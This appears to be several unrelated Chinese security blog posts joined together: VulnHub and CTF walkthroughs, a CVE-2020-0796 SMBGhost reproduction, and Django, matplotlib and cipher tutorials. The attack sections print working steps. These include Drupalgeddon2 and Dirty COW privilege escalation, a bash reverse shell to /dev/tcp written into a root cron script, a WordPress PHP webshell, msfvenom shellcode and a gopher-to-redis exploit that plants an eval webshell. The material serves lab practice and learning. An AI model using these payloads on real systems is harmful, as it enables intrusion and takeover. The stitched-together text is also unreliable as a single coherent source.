0x00 准备

靶机下载: https://www.vulnhub.com/entry/lampiao-1,249/

双击ovf文件,导入到Vmware中,选择NAT模式

Kali:192.168.194.192

0x01 利用知识及工具

nmap、netdiscover、脏牛提权、metasploit

0x02 测试

首先netdiscover扫描同一C段:netdiscover -i eth0 -r 192.168.194.1/24,找到目标机器IP:192.168.194.144.

利用nmap的TCP半开放扫描,对网站端口进行快速探测,nmap -sS -p 1-65535 192.168.194.144,该扫描方式因为它不打开一个完全的TCP连接,所以是使用频率最高的扫描方式。扫描结果发现开放22、80、1898端口

访问Web页面(80端口),仔细检查后没得到敏感信息,再次访问1898端口访问到正确的Web页面,在结尾看到cms是Drupal

想到CVE-2018-7600,利用msf打一波,msfconsole进入,search drupal,选择2018年的这个。

use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.194.144
set rport 1898
set target 0
run

成功拿到session会话,输入shell进入shell终端,再利用python获得一个TTY终端

python -c 'import pty; pty.spawn("/bin/bash")' ,发现是www-data权限。

接下来进行提权,首先查看下内核版本:uname -a

看到版本较高,但有可能存在 CVE-2016-5195 ,也就是脏牛(Dirty Cow)漏洞-Linux一个内核本地提权漏洞 。黑客可通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。

漏洞影响范围:Linux Kernel >= 2.6.22 的所有 Linux 系统

意味着从 2007 年发布 2.6.22 版本开始,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响。而我们的靶机为ubuntu14.04.5更新时间为16年-8月-05所以存在漏洞

在Kali中自带脏牛的脚本文件,新开一个终端【Ctrl】+【Shift】+【T】输入searchsploit dirty,找到需要的文件路径。

返回取得Shell的终端,按【Ctrl】+【C】返回meterpreter的session会话上传cpp文件到/tmp目录下,因为该目录一般是所有用户都具有可读可写权限

upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp

上传后再进入TTL的终端下,对cpp文件进行编译。

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

1-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4-std=c++11就是用按C++2011标准来编译的
5-pthread 在Linux中要用到多线程时,需要链接pthread库
6-o dcow gcc生成的目标文件,名字为dcow

再运行编译后文件并将结果输出到一个文本中./dcow > status.txt

可以看到重置了Root用户的密码为:dirtyCowFun

最后ssh连接以Root用户身份登录。

但是网上常用的是c文件所编译的,该文件依然在Kali中可以找到,该c文件编译后执行的结果将将新增一个root权限的用户,并增加一个对应密码。

接下来上传,进行编译,步骤同上。

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40839.c /tmp

www-data@lampiao:/tmp$ gcc -pthread 40839.c -o dirty -lcrypt

执行编译后文件进行提权./dirty password(新增的root用户的密码可自定义)

运行完毕后,看到给出了一个具有root用户权限的用户名“firefart”和我们自定义的密码“password”,再开一个终端尝试进行ssh连接。

可以看到第二个执行的c文件编译程序后新增了一个root权限的用户firefart,并在/etc/passwd中可以看到。

0x00 准备

靶机下载:

https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/#release

双击ovf文件,导入到Vmware中,选择NAT模式

Kali:192.168.194.140

0x01 测试

首先nmap扫描同一C段:nmap 192.168.194.1/24,找到目标机器IP:192.168.194.143,且开放21、22、80端口。

访问Web页面(80端口)

使用dirsearch.py脚本进行目录扫描:

python dirsearch.py -u “http://192.168.194.143/” -e *

访问robots.txt,得到一个弃用的Wordpress的路径地址,访问首页看到了作者:john,得到一个用户名。

接着使用dirsearch.py进行扫描:

python dirsearch.py -u “192.168.194.143/backup_wordpress/” -e *

访问/readme,可以看到该站的版本为4.5一个很老的版本,现在最新已经出5.4了,这种老站已经相对很少了,但是对付老站就可以掏出神器wpscan进行漏扫。

root@kali:~# wpscan –url http://192.168.194.143/backup_wordpress/ –enumerate u

枚举出两个可用用户admin、john

访问:http://192.168.194.143/backup_wordpress/wp-login.php进行抓包爆破后台密码,载入一个常用密码字典即可。网上搜罗,最终得到john的密码是enigma

进入后台后选择“外观”->“编辑”->404 模板.php, 修改404.php文件写一个反弹Shell的PHP木马,可用Kali中自带的,路径: /usr/share/webshells/php/php-reverse-shell.php 将IP写为Kali的IP,端口为Kali端用nc监听端口。

在下方点击“Update File”更新即可,然后访问指定路径:http://192.168.194.143/backup_wordpress/wp-content/themes/twentysixteen/404.php

该路径可以看出是右边两个红圈的名字,当处于加载转动状态,回到Kali监听端即可看到反弹回Shell

接着利用python做一个交互式的TTL的终端,命令:python -c 'import pty; pty.spawn("/bin/bash")',查看当前权限是www-data,然后查看下可以登录该机器的用户有哪些。

其中存在几个拥有bash权限的用户,利用hydra尝试爆破下SSH密码,最终只得到anni的密码为princess

SSH连接登录:ssh anne@192.168.194.143 随后提权到root用户,拿到flag

第二种方法:查看定时任务,存在一个以root用户定时执行的任务

查看原有的cleanup是以一个清除Apach日志记录的,将其重新写入,注意这样拿到的Shell没有rm和vi命令,只能通过echo进行写入

echo ‘#!/bin/bash’ > cleanup

echo ‘bash -i >& /dev/tcp/192.168.194.140/4444 0>&1’ >> cleanup

然后快捷键【Ctrl】+【Shift】+【T】新开一个终端,监听4444端口,一会就收到root用户的Shell了。

0x00 MVC框架

MVC框架的理念就是:分工,让专门的人做专门的事

M:Model模型,与数据库进行交互

V:View视图,产生HTML页面

C:Controller控制器,接收请求,进行处理,与M和V进行交互,返回应答

从一个注册的交互过程理解MVC工作原理

0x01 Django的MVT框架

Django是一个遵循MVC的python Web框架, 但是他的框架模式有自己的名字:MVT

M:Model模型,和MVC中M功能相同,和数据库进行交互。

V:View视图,和MVC中C功能相同,接受请求进行处理,与M和T进行交互。

T:Template模板,和MVC中V相同,产生HTML页面。

区别是以V代替了原来的C,同T和M进行交互。

0x02 虚拟环境的安装

在python中如果安装一个包的不同版本,后安装的会将原来安装的包覆盖掉,在实际开发中若遇到使用同一个包的不同版本的情况则就无法同时兼得,遇是就使用了虚拟环境来进行操作。

安装虚拟环境的命令:

这里以ubuntu18.04为例

1)sudo pip install virtualenv#安装虚拟环境
2)sudo pip install virtualenvwrapper#安装成拟环境扩展包
3)编辑家目录下面的bashrc文件,添加下面两行。
export WORKON_HOME=$HOME/.virtualenvs
source /usr/local/bin/virtualenvwrapper.sh
4)使用source .bashrc使其生效一下。

创建虚拟环境:mkvirtualenv test3(名字)#这样默认是python2的环境

mkvirtualenv -p python3 test(名字)#这样是python3的环境

执行完毕后进入其目录(虚拟环境就是真是python环境的复制版)

在Home目录下输入【Ctrl】+【H】显示出隐藏文件,就可以找到 .virtualenvs文件夹

可以建立多个虚拟环境,同时若给虚拟环境中的python安装依赖包直接pip安装即可,如果加上sudo前缀就会加到真实环境中,而不加sudo安装的结果在如下目录中。

退出虚拟环境输入deactivate,重新进入虚拟环境目录输入workon再按两下【Tab】键即可快速列出所存在虚拟环境并选择进入。

删除虚拟环境:rmvirtualenv test(虚拟环境名)

0x03 Django

虚拟环境下安装Django1.8.2版本

(test) xiaoteng@ubuntu:~$ pip install django==1.8.2

项目创建 命令:django-admin startproject test1(项目名)

init.py 说明test1是一个python包
settings.py 项目配置文件
urls.py 进行url路由的配置
wsgi.py Web服务器和Django的入口
manage.py 项目的管理文件

一个项目由很多个应用组成的,每一个应用完成一个特定的功能。
创建应用的命令如下:
python manage.py startapp 应用名

注意:创建应用时需要先进入项目目录。

init.py 说明目录是一个python模块
models.py 写和数据库项目的内容
views.py 接收请求,进行处理,与M和T进行交互,返回应答
定义处理函数,视图函数。
tests.py 写测试代码的文件
admin.py 网站后台管理相关的文件

建立应用和项目之间的联系,需要对应用进行注册。
修改settings.py中的INSTALED_APPS配置项。

(test) xiaoteng@ubuntu:~/django/test1/test1$ vi settings.py

启动服务(默认在8000端口):python manage.py runserver

启动后访问127.0.0.1:8000即可。

网上现在已经有很多复现的文章了,我也做一个学习总结。

0x00 漏洞描述

2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。

0x01 影响范围

  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  •  Windows Server, Version 1903 (Server Core installation)
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows Server, Version 1909 (Server Core installation)

0x02 准备工作

Win10 1903的镜像:https://pan.baidu.com/s/1G2oyLolCK62VNDI1GGSOXA&shfl=sharepset#list/path=%2F

漏洞检测工具: https://github.com/ollypwn/SMBGhost

奇安信检测工具: http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

蓝屏POC: https://github.com/eerykitty/CVE-2020-0796-PoC

本地提权POC:https://github.com/danigargu/CVE-2020-0796/releases/download/v1.0/cve-2020-0796-local_static.zip

远程漏洞利用POC:https://github.com/chompie1337/SMBGhost_RCE_PoC

0x03 漏洞复现

首先注意不是任意Win10都存在该漏洞,注意对应版本,Vmware安装完镜像后,需要关闭防火墙,不然主机的流量无法过去。选择“打开网络和Internet设置”

点击“Windows防火墙”,将以下三个网络全部关闭,之后进行漏洞检测和利用。

Win10虚拟机IP此时为192.168.194.137

1)漏洞检测的两个工具,第一个利用方式

第二个奇安信的工具的利用方式,可进行批量检测

2)蓝屏POC脚本执行前需安装需要的库pip install ntlm_auth,python3环境下运行,运行后虚拟机立马就蓝屏重启了。

3)本地提权POC,需要将exe文件上传到目标机器,但不具备免杀效果,所以需要关闭杀毒。

在目标机器上运行exe文件会弹出一个system权限的shell对话框,成功提权。

4)远程漏洞利用POC

1-首先使用Kali的msfvenom生成一个python类型正向连接的shellcode。

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b ‘\x00’ -i 1 -f python

2-将生成的 shellcode 替换 POC 中 exploit.py 里的USER_PAYLOAD字段,注意要将buf替换为USER_PAYLOAD,同时注意msfvenom生成的shellcode比exploit.py里原有多几行,需自行添加补齐。

3-msfconsole开启监听端口

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
options
set rhost 192.168.194.137
run​

4-运行exploit.py 执行命令: python exploit.py -ip 192.168.194.137

过程中需要多执行几次,经常会出现“[-] physical read primitive failed!”的语句就终止了。

5-当成功运行起来后,出现到“[+] Press a key to execute shellcode!”执行shellcode按下“Enter”时,会大概率把Win10打蓝屏重启,其中一次没有重启,但Kali中的监听端口却没有收到Shell,按下【Ctrl】+【C】,再重新执行run命令,就会收到meterpreter的Shell了。

6-拿到Shell后可结合本地提权的POC,在关掉杀毒,防火墙的情况下运行进行提权。

考点:phar反序列化

题目上来是一个上传,正常上传文件后会根据每个用户的IP,MD5加密生成一个文件夹,将内容保存,同时还存在一个view按钮,可查看上传的文件

在upload处抓包,可以看到有参数传递,在一切毫无头绪时,考虑文件包含漏洞,读取到upload.php和view.php,这里贴出view.php的内容upload.php并没有特别的考点在这里

 <!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>查看图片</title>
    <link type = "text/css" rel = "stylesheet" href = "css/style.css">
</head>
<body>
    <script type = "text/javascript" color = "0,0,255" opacity = '0.7' zIndex = "-2" count = "99" src = 'js/canvas-nest.min.js'></script> <!-- 动态背景 -->
    <?php
    #include_once "flag.php"; 
    error_reporting(0);
    class View
    {
        public $dir;
        private $cmd;

        function __construct()
        {
            $this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
            $this->cmd = 'echo "<div style=\"text-align: center;position: absolute;left: 0;bottom: 0;width: 100%;height: 30px;\">Powered by: xxx</div>";';
            if(!is_dir($this->dir)) {
                mkdir($this->dir, 0777, true);
            }
        }

        function get_file_list() {
            $file = scandir('.');
            return $file;
        }

        function show_file_list() {
            $file = $this->get_file_list();
            for ($i = 2; $i < sizeof($file); $i++) { 
                echo "<p align=\"center\" style=\"font-weight: bold;\">[".strval($i - 1)."]  $file[$i] </p>";
            }
        }

        function show_img($file_name) {
            $name = $file_name;
            $width = getimagesize($name)[0];
            $height = getimagesize($name)[1];
            $times = $width / 200;
            $width /= $times;
            $height /= $times;
            $template = "<img style=\"clear: both;display: block;margin: auto;\" src=\"$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
            echo $template;
        }

        function delete_img($file_name) {
            $name = $file_name;
            if (file_exists($name)) {
                @unlink($name);
                if(!file_exists($name)) {
                    echo "<p align=\"center\" style=\"font-weight: bold;\">成功删除! 3s后跳转</p>";
                    header("refresh:3;url=view.php");
                } else {
                    echo "Can not delete!";
                    exit;
                }
            } else {
                echo "<p align=\"center\" style=\"font-weight: bold;\">找不到这个文件! </p>";
            }
        }

        function __destruct() {
            eval($this->cmd);
        }
    }
    
    $ins = new View();
    chdir($ins->dir);
    echo "<h3>当前目录为 " . $ins->dir . "</h3>";
    $ins->show_file_list();
    if (isset($_POST['show'])) {
        $file_name = $_POST['show'];
        $ins->show_img($file_name);
    }
    if (isset($_POST['delete'])) {
        $file_name = $_POST['delete'];
        $ins->delete_img($file_name);
    }
    unset($ins);
    ?>
</body>
</html>

与我预想的反序列化不同,不存在unserialize函数,但存在eval函数,可对cmd变量构造恶意代码。同时题目还是一个文件上传,那么就可以联想到通过phar文件进行反序列化重构cmd变量的值,上传phar文件,最后通过show或者delete传参利用phar协议触发phar文件,使构造的序列化代码进行反序列化

构造:

<?php 
class View {
        public $dir = '';
        private $cmd = 'phpinfo();chdir("/var/www/html");readfile("flag.php");';
}
    $o = new View();
    unlink("phar.phar");//删除原有存在的
    $phar = new Phar("phar.phar");//生成
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub,加入GIF头绕过内容验证
    $phar->setMetadata($o); //加入序列化内容
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();
?>

​代码编写也很简单,很多都是套路,dir变量处可以什么都不写,也不会有影响,phar的学习可以参看https://paper.seebug.org/680/#2-a-manifest-describing-the-contents,生成了phar文件后进行上传,在view.php页面利用hacker bar传递show或delete参数,触发phar文件,这样在类的方法中运行完后会触发__destruct魔术方法执行eval函数。

最后在源代码最下方找到flag

[安洵杯 2019]easy_web

 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
         echo $cmd;
     } else {
         echo ("md5 is funny ~");
     } 
POST传入:a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 

0x00 简介

Matplotlib是Python的一个2D图形库,能够生成各种格式的图形(诸如折线图,散点图,直方图等等),界面可交互(可以利用鼠标对生成图形进行点击操作),同时该2D图形库跨平台,即既可以在Python脚本中编码操作,也可以在Jupyter Notebook中使用,以及其他平台都可以很方便的使用Matplotlib图形库,而且生成图形质量较高,甚至可以达到出版级别。

0x01 折线图绘制

1)plt.plot(x,y,format_string,**kwargs) 
x轴数据,y轴数据,format_string控制曲线的格式字串

颜色字符说明标记字符说明标记字符说明标记字符说明风格字符说明
b蓝色.点标记1下花三角标记h竖六边形标记━ 实线
g绿色,像素标记2上花三角标记H横六边形标记━ ━ 破折线
r红色o实心圈标记3左花三角标记+十字标记━ .点划线
c青绿色v倒三角标记4右花三角标记xx标记:虚线
m洋红色^上三角标记s实心方形标记D菱形标记无线条
y黄色>右三角标记p实心五角标记d瘦菱形标记
k黑色<左三角标记*星型标记|垂直线标记
w白色
#引入pyplt,修改名称为plt
import matplotlib.pyplot as plt
#对应坐标编写折线图
plt.plot([1,2,3,6],[4,5,8,1],'g-s')
#类似print,将图形显示输出
plt.show()

2)在matplotlib中,整个图表为一个figure对象 每一个弹出的小窗口就是一个Figure对象 plt.figure(num,figsize,dpi,**kwargs)其中num为对应窗口数,figsize为窗口大小,dpi为清晰度,值越大越清晰

#引入pyplt,修改名称为plt 
import matplotlib.pyplot as plt
#设置figsize对应宽高
plt.figure(num=3,figsize=(10,10),dpi=10)
#对应坐标编写折线图
plt.plot([1,2,3,6],[4,5,8,1],'g-s')
#类似print,将图形显示输出
plt.show()

3)保存图片plt.savefig(‘路径’)

例:plt.savefig(‘./1.png’),在plt.show前添加,运行后会在当前路径下生成1.png保存刚刚绘制的图形。

4)设置刻度

#引入pyplt,修改名称为plt
import matplotlib.pyplot as plt
#设置figsize对应宽高
plt.figure(figsize=(18,10),dpi=80)
#对应坐标编写折线图
x = range(2,26,2)
y = [15,13,14.5,17,20,25,26,26,27,22,18,15]
plt.plot(x,y,'g-s')
#设置x轴刻度
plt.xticks(x)
#设置x轴中带有0.5刻度
# x1 = [i/2 for i in range(4,51)]
# plt.xticks(x1)
#设置y轴刻度
plt.yticks(range(min(y),max(y)+1))
#类似print,将图形显示输出
plt.show()

0x02 CTF中应用

[INSHack2019]Drone Motion

题目下载

一道坐标题,通过正则匹配提取坐标,画图即可。要注意的是,因为是画图,所以每个坐标每一位要加上前面的所有坐标

在sensors.log中看到以下内容

给出了坐标点,那么绘图脚本如下,引用root师傅的脚本:

import re

import matplotlib.pyplot as plt
x = []
y = []
z = []
a = []
x2,y2,z2=0,0,0
lines = open("sensors.log").readlines()
for line in lines:
    a.append("".join(re.findall("\[drone\]\(DEBUG\)> dir: \(x=(.*?),y=",line)))
for i in a:
    if i != '':
        x2+=float(i)
        x.append(float(x2))
a.clear()
for line in lines:
    a.append("".join(re.findall("\[drone\]\(DEBUG\)> dir: \(x=.*?,y=(.*?),z=",line)))
for i in a:
    if i != '':
        y2+=float(i)
        y.append(float(y2))
a.clear()
for line in lines:
    a.append("".join(re.findall("\[drone\]\(DEBUG\)> dir: \(x=.*?,y=.*?,z=(.*?)\)",line)))
for i in a:
    if i != '':
        z2+=float(i)
        z.append(float(z2))
ax = plt.plot(x, y,'-')
plt.axis('equal')# 把单位长度都变的一样 
plt.show()
plt.savefig("test.png", dpi=1000) 

0x03 总结学习

更多 matplotlib 模块的学习可参看:https://zhuanlan.zhihu.com/p/33270402

https://blog.csdn.net/qiurisiyu2016/article/details/80187177

<?php 
highlight_file(_FILE_); 
$x = $_GET['x']; 
$pos = strpos($x,"php"); 
if($pos){
    exit("denied");
} 
$ch=curl_init(); 
cur1_setopt($ch,CURLOPT_URL,"$x"); 
cur1_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo Sresult;
?>

思路:
◆可利用的协议有gopher、dict、http、https、file等
◆file协议可以用于查看文件
◆dict协议可以用于刺探端口
◆gopher协议支持GET&POST请求,常用于攻击内网ftp、redis、telnet、smtp等服务,还可以利用gopher协议访问redis反弹shel1

绕过strops,对p进行url二次编码绕过p->%70->%2570

最后发现172.18.0.1/2/3可以访问,其中172.18.0.2存在文件包含漏洞

再次利用BurpSuite探测该内网IP开放端口,发现存在25端口smtp服务

利用思路,利用Gopher协议发送一句话木马请求,污染其日志文件,最后通过文件包含漏洞将日志文件包含拿到shell。

工具利用Gopherus:https://github.com/tarunkant/Gopherus,该工具可快速生成指定Payload,python2下执行

root@iZ2ze0vvr76o932bopx4kxZ:~/SSRF工具/Gopherus-master# python gopherus.py -h
 usage: gopherus.py [-h] [--exploit EXPLOIT]
 optional arguments:
   -h, --help         show this help message and exit
   --exploit EXPLOIT  mysql, fastcgi, redis, smtp, zabbix, pymemcache,
                      rbmemcache, phpmemcache, dmpmemcache

最后将IP地址改为目标IP即可

但是木马肯定是无法直接执行的,我们的目的也是使该请求记录写到smtp的日志记录中。

Smtp常见日志文件位置:
◆/var/log/maillog
◆/var/log/mail.log
◆/var/adm/maillog
◆/var/adm/syslog/mail.log

[GKCTF2020]小学生的密码学

考点:仿射密码

给自己做个记录

题目

e(x)=11x+6(mod26)

密文:welcylk

(flag为base64形式)

利用在线解密网站:https://cryptii.com/pipes/affine-cipher

flag{c29yY2VyeQ==}

[GKCTF2020]汉字的秘密

附件内容是当铺密码

dh = '田口由中人工大土士王夫井羊壮'
ds = '00123455567899'
cip = input('请输入当铺密码:')#'王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫'
s = ''
for i in cip:
    if i in dh:
        s += ds[dh.index(i)]
    else:
        s += ' '
print(s)#输出对应的数字
list = s.split(" ")#空格分隔,返回列表
str = ""
for i in list:
    str += chr(int(i))
print(str)#输出对应的ASCII码

输出EJ>CvSHMV7G9R9@?3k

结合FLAG的ASCII码和输出结果的ASCII码发现,差值依次为1 2 3 4

完整脚本如下:

dh = '田口由中人工大土士王夫井羊壮'
ds = '00123455567899'
cip = input('请输入当铺密码:')#'王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫'
s = ''
for i in cip:
    if i in dh:
        s += ds[dh.index(i)]
    else:
        s += ' '
print(s)#输出对应的数字
list = s.split(" ")#空格分隔,返回列表
str = ""
for i in list:
    str += chr(int(i))
print(str)#输出对应的ASCII码
result = ''
for i in range(0,len(list)):
    result += chr(int(list[i])+i+1)
print('result=', result, '\t\tresult.lower()=', result.lower())

0x00 简介

定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

Gopher协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

  • gopher的默认端口是70
  • 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

注意%0d%0a是\r\n的URL编码。

Gopher发送请求HTTP GET请求:

Windows下安装netcat,工具地址: https://eternallybored.org/misc/netcat/

在 C:\Windows\System32的文件夹下解压即可。

首先在本机上开启监听端口:nc -lvp 6666

Kali上:curl gopher://192.168.194.1:6666/_abcd

注意:abcd是要传递的数据,_会被吃掉不会传递过去

发送一个原始的HTTP包

在gopher协议中发送HTTP的数据,需要以下三步

 1、构造HTTP数据包 
 2、URL编码、替换回车换行为%0d%0a 
 3、发送gopher协议 

首先利用PHPStudy新建一个get.php文件,内容

<?php    
echo "Hello ".$_GET["name"]."\n"
?>

传递?name=purplet,利用BurpSuite抓包可以看到报文头

GET /tes/get.php?name=purplet HTTP/1.1
Host: 192.168.194.1

URL编码后为: curl gopher://192.168.194.1:80/_GET%20/tes/get.php%3fname=purplet%20HTTP/1.1%0d%0aHost:%20192.168.194.1%0d%0a 

注意:

1、问号(?)需要转码为URL编码,也就是%3f

2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a 

3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

4.、gopher协议后的IP一定要接端口

Gopher发送请求HTTP POST请求:

POST与GET传参的区别:它有有4个参数为必要参数

POST /tes/post.php HTTP/1.1
host:192.168.194.1
Content-Type:application/x-www-form-urlencoded
Content-Length:12

name=purplet

如下构造:

curl gopher://192.168.194.1:80/_POST%20/tes/post.php%20HTTP/1.1%0d%0AHost:192.168.194.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:12%0d%0A%0d%0Aname=purplet%0d%0A

其中post.php

<?php 
echo "Hello".$_POST['name']."\n";
?>

0x01 redis未授权访问

什么是redis

Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。

什么是redis未授权访问漏洞

简单说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;注:默认在6379端口
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。 

漏洞利用常见三种方法:

(1)已知目标网站绝对路径写入Webshell
(2)定时任务反弹shell
(3)利用"公私钥"认证获取root权限,ssh免密登陆目标服务器 

CTF中较为常见的利用方法是写入webshell,通过redis连接工具

root@kali:~# redis-cli -h 192.168.5.57(目标IP)

可以不输入密码连接成功,下面这个命令会清空数据库,谨慎使用

 192.168.5.57:6379>flushall  

写入Webshell

192.168.5.57:6379>config set dir /var/www/html/ #设置网站路径,这里必须提前知道网站的路径,这个可以在phpinfo信息中获取
192.168.5.57:6379>config set dbfilename shell.php #创建文件
192.168.5.57:6379>set webshell "<?php @eval($_POST[1]);?>"
192.168.5.57:6379>save

0x02 CTF中的应用

[GKCTF2020]EZ三剑客-EzWeb

考点:redis未授权访问与gopher协议的利用

查看源代码后发现隐藏注释

传递?secret后看到ipconfig的信息,得到该网站的内网IP是173.235.203.10

在前端输入框中随意输入后看到url处存在一个url参数以GET形式传递了输入字符,疑似SSRF,将获得的本机IP传入,果真又出现了一个当前页面。实战可以尝试传入百度的网址,若有页面回显也可能存在一个SSRF漏洞。

既然是有回显的SSRF,可以利用BurpSuite其进行内网扫描,获取所有存在的内网IP。对C段进行选定爆破1-255

爆破结果得到4个内网IP

其中11时出现以下字: 被你发现了,但你也许需要试试其他服♂务,就在这台机子上! …我说的是端口啦1 ,给出了很明显的提示继续进行端口扫描

端口扫描时可不必从1-65535,针对经常会出现漏洞的的端口可进行一个扫描

21,22,23,25,53,80,89,110,139,143,161,443,445,465,873,993,995,1433,1521,1723,2049,3128,3306,3389,4100,5000,5432,5632,5900,6379,7001,8069,8080,8090,9200,9300,9871,11211,27017,27018

最终扫描结果看到存在redis的默认端口6379,很容易想到可能存在redis的未授权访问漏洞,同时测试发现file协议也被ban掉了,接下来利用gopher协议对redis进行写入webshell的操作。

exp如下,请仔细读懂,其中空格也利用${IFS}代替。

#/usr/bin/python
import urllib
protocol="gopher://"
ip="173.235.203.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)

python2环境下运行后将得到的结果提交过去

gopher://173.235.203.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

最终拿到shell成功实现命令执行。

文章参考:https://zhuanlan.zhihu.com/p/112055947

https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/#SSRF%E4%BB%8B%E7%BB%8D